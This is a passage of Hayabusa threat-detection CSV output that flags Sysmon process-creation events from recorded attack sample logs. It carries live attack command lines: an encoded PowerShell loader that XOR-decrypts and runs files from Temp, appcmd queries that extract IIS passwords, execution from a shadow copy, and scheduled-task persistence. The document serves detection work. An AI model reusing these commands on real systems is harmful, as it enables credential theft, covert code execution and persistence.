JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:20.435 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir "". )"" /text:userName : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-27 10:29:20.555 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\inetsrv\appcmd.exe"" list vdir "". )"" /text:password : Path: C:\Windows\System32\inetsrv\appcmd.exe : User: IIS APPPOOL\DefaultAppPool : Parent Command: ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -noni -enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7ACQAcABhAHQAaABfAGkAbgBfAG0AbwBkAHUAbABlAD0AIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVABlAG0AcABcADYAagByAHgAawAzAFwAZwBmAGcAOQBpACIAOwAkAHAAYQB0AGgAXwBpAG4AXwBhAHAAcABfAGMAbwBkAGUAPQAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwANgBqAHIAeABrADMAXABuAGoAYQA5AHQANgA0AHIAcgBsAHUAOAAiADsAJABrAGUAeQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADgAZAA5ADYAOQBlAGUAZgA2AGUAYwBhAGQAMwBjADIAOQBhADMAYQA2ADIAOQAyADgAMABlADYAOAA2AGMAZgAwAGMAMwBmADUAZAA1AGEAOAA2AGEAZgBmADMAYwBhADEAMgAwADIAMABjADkAMgAzAGEAZABjADYAYwA5ADIAJwApADsAJABlAG4AYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAHAAYQB0AGgAXwBpAG4AXwBtAG8AZAB1AGwAZQApADsAJABlAG4AYwBfAGEAcABwAF8AYwBvAGQAZQA9AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACkAOwAkAGQAZQBjAF8AbQBvAGQAdQBsAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AbQBvAGQAdQBsAGUALgBMAGUAbgBnAHQAaAA7ACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAA9ACAAJABlAG4AYwBfAG0AbwBkAHUAbABlAFsAJABpAF0AIAAtAGIAeABvAHIAIAAkAGsAZQB5AFsAJABpACAAJQAgACQAawBlAHkALgBMAGUAbgBnAHQAaABdADsAfQA7AGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAGUAbgBjAF8AYQBwAHAAXwBjAG8AZABlAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQBbACQAaQBdACAAPQAgACQAZQBuAGMAXwBhAHAAcABfAGMAbwBkAGUAWwAkAGkAXQAgAC0AYgB4AG8AcgAgACQAawBlAHkAWwAkAGkAIAAlACAAJABrAGUAeQAuAEwAZQBuAGcAdABoAF0AOwB9ADsAJABkAGUAYwBfAG0AbwBkAHUAbABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAG0AbwBkAHUAbABlACkAOwAkAGQAZQBjAF8AYQBwAHAAXwBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAGUAYwBfAGEAcABwAF8AYwBvAGQAZQApADsAJAAoACQAZABlAGMAXwBtAG8AZAB1AGwAZQArACQAZABlAGMAXwBhAHAAcABfAGMAbwBkAGUAKQB8AGkAZQB4ADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAGEAdABoAF8AaQBuAF8AYQBwAHAAXwBjAG8AZABlACAALQBGAG8AcgBjAGUAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AA==",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/discovery_sysmon_1_iis_pwd_and_config_discovery_appcmd.evtx +2019-05-28 00:12:38.241 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c whoami /groups : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:38.290 +09:00,IEWIN7,1,informational,Process Creation,Command: whoami /groups : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c whoami /groups ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:38.290 +09:00,IEWIN7,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:38.290 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:38.290 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:43.990 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c %%SYSTEMROOT%%\system32\wbem\wmic.exe /output:C:\Windows\TEMP\htxjGDrk /INTERACTIVE:off /node:localhost Service where(name=""VSS"") get state : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:44.055 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\wbem\wmic.exe /output:C:\Windows\TEMP\htxjGDrk /INTERACTIVE:off /node:localhost Service where(name=""VSS"") get state : Path: C:\Windows\System32\wbem\WMIC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c %SYSTEMROOT%\system32\wbem\wmic.exe /output:C:\Windows\TEMP\htxjGDrk /INTERACTIVE:off /node:localhost Service where(name=""VSS"") get state",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:45.405 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c %%SYSTEMROOT%%\system32\wbem\wmic.exe /output:C:\Windows\TEMP\CEafXbEl /INTERACTIVE:off /node:localhost Service where(name=""swprv"") get state : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:45.491 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\wbem\wmic.exe /output:C:\Windows\TEMP\CEafXbEl /INTERACTIVE:off /node:localhost Service where(name=""swprv"") get state : Path: C:\Windows\System32\wbem\WMIC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c %SYSTEMROOT%\system32\wbem\wmic.exe /output:C:\Windows\TEMP\CEafXbEl /INTERACTIVE:off /node:localhost Service where(name=""swprv"") get state",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:47.402 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c %%SYSTEMROOT%%\system32\wbem\wmic.exe /output:C:\Windows\TEMP\YqOMAUgO /INTERACTIVE:off /node:localhost shadowcopy call create ""ClientAccessible"", ""C:\"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:47.478 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\wbem\wmic.exe /output:C:\Windows\TEMP\YqOMAUgO /INTERACTIVE:off /node:localhost shadowcopy call create ""ClientAccessible"", ""C:\"" : Path: C:\Windows\System32\wbem\WMIC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c %SYSTEMROOT%\system32\wbem\wmic.exe /output:C:\Windows\TEMP\YqOMAUgO /INTERACTIVE:off /node:localhost shadowcopy call create ""ClientAccessible"", ""C:\""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:47.478 +09:00,IEWIN7,1,medium,Shadow Copies Creation Using Operating Systems Utilities,,rules/sigma/process_creation/win_shadow_copies_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:48.655 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c vssadmin List Shadows| find ""Shadow Copy Volume"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:48.763 +09:00,IEWIN7,1,informational,Process Creation,"Command: vssadmin List Shadows : Path: C:\Windows\System32\vssadmin.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c vssadmin List Shadows| find ""Shadow Copy Volume"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:48.827 +09:00,IEWIN7,1,informational,Process Creation,"Command: find ""Shadow Copy Volume"" : Path: C:\Windows\System32\find.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c vssadmin List Shadows| find ""Shadow Copy Volume"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:54.447 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c %%SYSTEMROOT%%\system32\wbem\wmic.exe process call create \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:54.544 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\wbem\wmic.exe process call create \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe : Path: C:\Windows\System32\wbem\WMIC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c %SYSTEMROOT%\system32\wbem\wmic.exe process call create \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:54.544 +09:00,IEWIN7,1,medium,Suspicious WMI Execution,,rules/sigma/process_creation/win_susp_wmi_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:54.544 +09:00,IEWIN7,1,medium,Shadow Copies Creation Using Operating Systems Utilities,,rules/sigma/process_creation/win_shadow_copies_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:54.632 +09:00,IEWIN7,1,informational,Process Creation,Command: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe : Path: \Device\HarddiskVolumeShadowCopy7\Windows\Temp\svhost64.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:59.519 +09:00,IEWIN7,1,informational,Process Creation,"Command: cmd.exe /c %%SYSTEMROOT%%\system32\schtasks.exe /create /sc minute /mo 1 /tn ""eyNQLDvUSuvVPg"" /tr ""\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\notepad.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 00:12:59.578 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence - Scheduled Task Management : Command: C:\Windows\system32\schtasks.exe /create /sc minute /mo 1 /tn ""eyNQLDvUSuvVPg"" /tr ""\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe"" : Path: C:\Windows\System32\schtasks.exe : User: NT AUTHORITY\SYSTEM : Parent Command: cmd.exe /c %SYSTEMROOT%\system32\schtasks.exe /create /sc minute /mo 1 /tn ""eyNQLDvUSuvVPg"" /tr ""\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\\Windows\Temp\svhost64.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_exec_from_vss_persistence.evtx +2019-05-28 11:13:52.171 +09:00,IEWIN7,1,informational,Process Creation,"Command: vshadow.exe -nw -exec=c:\windows\System32\osk.exe c:\ : Path: C:\ProgramData\vshadow.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbin_bohops_vshadow_exec.evtx +2019-05-28 11:13:52.429 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: Process Launched via DCOM : Command: DrvInst.exe ""1"" ""200"" ""STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot11"" """" """" ""6350c17eb"" ""00000000"" ""000005AC"" ""00000590"" : Path: C:\Windows\System32\drvinst.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbin_bohops_vshadow_exec.evtx +2019-05-28 11:13:53.507 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: IEWIN7\IEUser : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbin_bohops_vshadow_exec.evtx +2019-05-28 11:14:48.819 +09:00,IEWIN7,1,informational,Process Creation,"Command: vshadow.exe -nw -exec=c:\windows\System32\notepad.exe c:\ : Path: C:\ProgramData\vshadow.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbin_bohops_vshadow_exec.evtx +2019-05-28 11:14:49.194 +09:00,IEWIN7,1,high,Process Creation Sysmon Rule Alert,"Rule: Process Launched via DCOM : Command: DrvInst.exe ""1"" ""200"" ""STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot12"" """" """" ""6d110b0a3"" ""00000000"" ""000005B8"" ""000004B0"" : Path: C:\Windows\System32\drvinst.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbin_bohops_vshadow_exec.evtx +2019-05-28 11:14:50.413 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""c:\windows\System32\notepad.exe"" : Path: C:\Windows\System32\notepad.exe : User: IEWIN7\IEUser : Parent Command: vshadow.exe -nw -exec=c:\windows\System32\notepad.exe c:\",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/sysmon_lolbin_bohops_vshadow_exec.evtx +2019-06-15 07:22:17.988 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Downloads\a.exe"" : Path: C:\Users\IEUser\Downloads\a.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_13_1_persistence_via_winlogon_shell.evtx +2019-06-15 07:22:21.535 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Users\IEUser\Downloads\a.exe"" : Path: C:\Users\IEUser\Downloads\a.exe : User: 